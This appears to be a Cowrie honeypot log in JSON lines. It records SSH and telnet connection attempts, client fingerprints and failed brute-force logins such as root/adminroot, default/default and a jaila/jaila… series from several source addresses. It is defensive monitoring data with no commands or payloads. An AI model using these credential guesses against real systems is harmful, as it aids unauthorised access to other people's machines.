{"eventid":"cowrie.login.failed","username":"root","password":"1954","message":"login attempt [root/1954] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:31:52.586836Z","src_ip":"124.193.81.23","session":"82a25f74a5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:31:53.845589Z","src_ip":"124.193.81.23","session":"82a25f74a5b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":40916,"dst_ip":"159.203.135.109","dst_port":22,"session":"53778f140593","protocol":"ssh","message":"New connection: 213.209.159.56:40916 (159.203.135.109:22) [session: 53778f140593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:38.002794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:38.012317Z","src_ip":"213.209.159.56","session":"53778f140593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:38.093997Z","src_ip":"213.209.159.56","session":"53778f140593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila","message":"login attempt [jaila/jaila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:38.494929Z","src_ip":"213.209.159.56","session":"53778f140593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila1","message":"login attempt [jaila/jaila1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:39.579491Z","src_ip":"213.209.159.56","session":"53778f140593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila123","message":"login attempt [jaila/jaila123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:40.665025Z","src_ip":"213.209.159.56","session":"53778f140593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila1234","message":"login attempt [jaila/jaila1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:41.750134Z","src_ip":"213.209.159.56","session":"53778f140593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila12345","message":"login attempt [jaila/jaila12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:42.835124Z","src_ip":"213.209.159.56","session":"53778f140593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:34:43.919818Z","src_ip":"213.209.159.56","session":"53778f140593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":59726,"dst_ip":"10.17.0.5","dst_port":22,"session":"469796ef2c85","protocol":"ssh","message":"New connection: 124.193.81.23:59726 (10.17.0.5:22) [session: 469796ef2c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:35:03.733363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:35:03.742943Z","src_ip":"124.193.81.23","session":"469796ef2c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:35:03.985363Z","src_ip":"124.193.81.23","session":"469796ef2c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"*","message":"login attempt [root/*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:35:04.987755Z","src_ip":"124.193.81.23","session":"469796ef2c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:35:06.247842Z","src_ip":"124.193.81.23","session":"469796ef2c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.187.82.153","src_port":51142,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd94406a1a5f","protocol":"telnet","message":"New connection: 39.187.82.153:51142 (159.203.135.109:23) [session: fd94406a1a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:35:39.682398Z"}
{"eventid":"cowrie.session.closed","duration":30.56861901283264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:36:10.250902Z","src_ip":"39.187.82.153","session":"fd94406a1a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":46892,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9dd6577bfe1","protocol":"ssh","message":"New connection: 124.193.81.23:46892 (10.17.0.5:22) [session: e9dd6577bfe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:10.026747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:10.032432Z","src_ip":"124.193.81.23","session":"e9dd6577bfe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:10.268763Z","src_ip":"124.193.81.23","session":"e9dd6577bfe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nicole","message":"login attempt [root/nicole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:11.245593Z","src_ip":"124.193.81.23","session":"e9dd6577bfe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":42628,"dst_ip":"159.203.135.109","dst_port":22,"session":"196ee4a5a83c","protocol":"ssh","message":"New connection: 113.190.252.123:42628 (159.203.135.109:22) [session: 196ee4a5a83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:16.782978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:16.787582Z","src_ip":"113.190.252.123","session":"196ee4a5a83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:17.311236Z","src_ip":"113.190.252.123","session":"196ee4a5a83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:18.872982Z","src_ip":"113.190.252.123","session":"196ee4a5a83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:38:20.396125Z","src_ip":"113.190.252.123","session":"196ee4a5a83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":47960,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6bb595bfed","protocol":"telnet","message":"New connection: 189.14.113.3:47960 (10.17.0.5:23) [session: ac6bb595bfed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:39:21.824762Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":47997,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff70423ba5fd","protocol":"telnet","message":"New connection: 189.14.113.3:47997 (10.17.0.5:23) [session: ff70423ba5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:39:22.188670Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:40:10.044475Z","src_ip":"124.193.81.23","session":"e9dd6577bfe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":34086,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bec48453a44","protocol":"ssh","message":"New connection: 124.193.81.23:34086 (10.17.0.5:22) [session: 6bec48453a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:19.580540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:19.585016Z","src_ip":"124.193.81.23","session":"6bec48453a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:19.840324Z","src_ip":"124.193.81.23","session":"6bec48453a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fiona1","message":"login attempt [root/fiona1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:20.890643Z","src_ip":"124.193.81.23","session":"6bec48453a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00224804878235,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:21.826895Z","src_ip":"189.14.113.3","session":"ac6bb595bfed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":49989,"dst_ip":"10.17.0.5","dst_port":23,"session":"d585038a8769","protocol":"telnet","message":"New connection: 189.14.113.3:49989 (10.17.0.5:23) [session: d585038a8769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:22.147024Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:22.152461Z","src_ip":"124.193.81.23","session":"6bec48453a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00116562843323,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:22.189741Z","src_ip":"189.14.113.3","session":"ff70423ba5fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":49995,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab0a30ab9eb3","protocol":"telnet","message":"New connection: 189.14.113.3:49995 (10.17.0.5:23) [session: ab0a30ab9eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:22.494770Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":50004,"dst_ip":"10.17.0.5","dst_port":23,"session":"79d3e8773dd6","protocol":"telnet","message":"New connection: 189.14.113.3:50004 (10.17.0.5:23) [session: 79d3e8773dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:41:23.255906Z"}
{"eventid":"cowrie.session.closed","duration":120.00379395484924,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:22.150666Z","src_ip":"189.14.113.3","session":"d585038a8769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00112271308899,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:22.495770Z","src_ip":"189.14.113.3","session":"ab0a30ab9eb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":51960,"dst_ip":"10.17.0.5","dst_port":23,"session":"1829d2b625e4","protocol":"telnet","message":"New connection: 189.14.113.3:51960 (10.17.0.5:23) [session: 1829d2b625e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:22.810748Z"}
{"eventid":"cowrie.session.closed","duration":120.00129199028015,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:23.257080Z","src_ip":"189.14.113.3","session":"79d3e8773dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.14.113.3","src_port":51956,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d77892833b","protocol":"telnet","message":"New connection: 189.14.113.3:51956 (10.17.0.5:23) [session: a4d77892833b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:25.622823Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.64.162.195","src_port":55580,"dst_ip":"159.203.135.109","dst_port":22,"session":"27e0193b61d0","protocol":"ssh","message":"New connection: 36.64.162.195:55580 (159.203.135.109:22) [session: 27e0193b61d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:39.416454Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:39.424536Z","src_ip":"36.64.162.195","session":"27e0193b61d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":26559,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aaf85e547a4","protocol":"ssh","message":"New connection: 178.20.210.186:26559 (10.17.0.5:22) [session: 0aaf85e547a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:43.903116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:43.910083Z","src_ip":"178.20.210.186","session":"0aaf85e547a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:44.001114Z","src_ip":"178.20.210.186","session":"0aaf85e547a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:45.349071Z","src_ip":"178.20.210.186","session":"0aaf85e547a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:43:46.448910Z","src_ip":"178.20.210.186","session":"0aaf85e547a4","protocol":"ssh"}
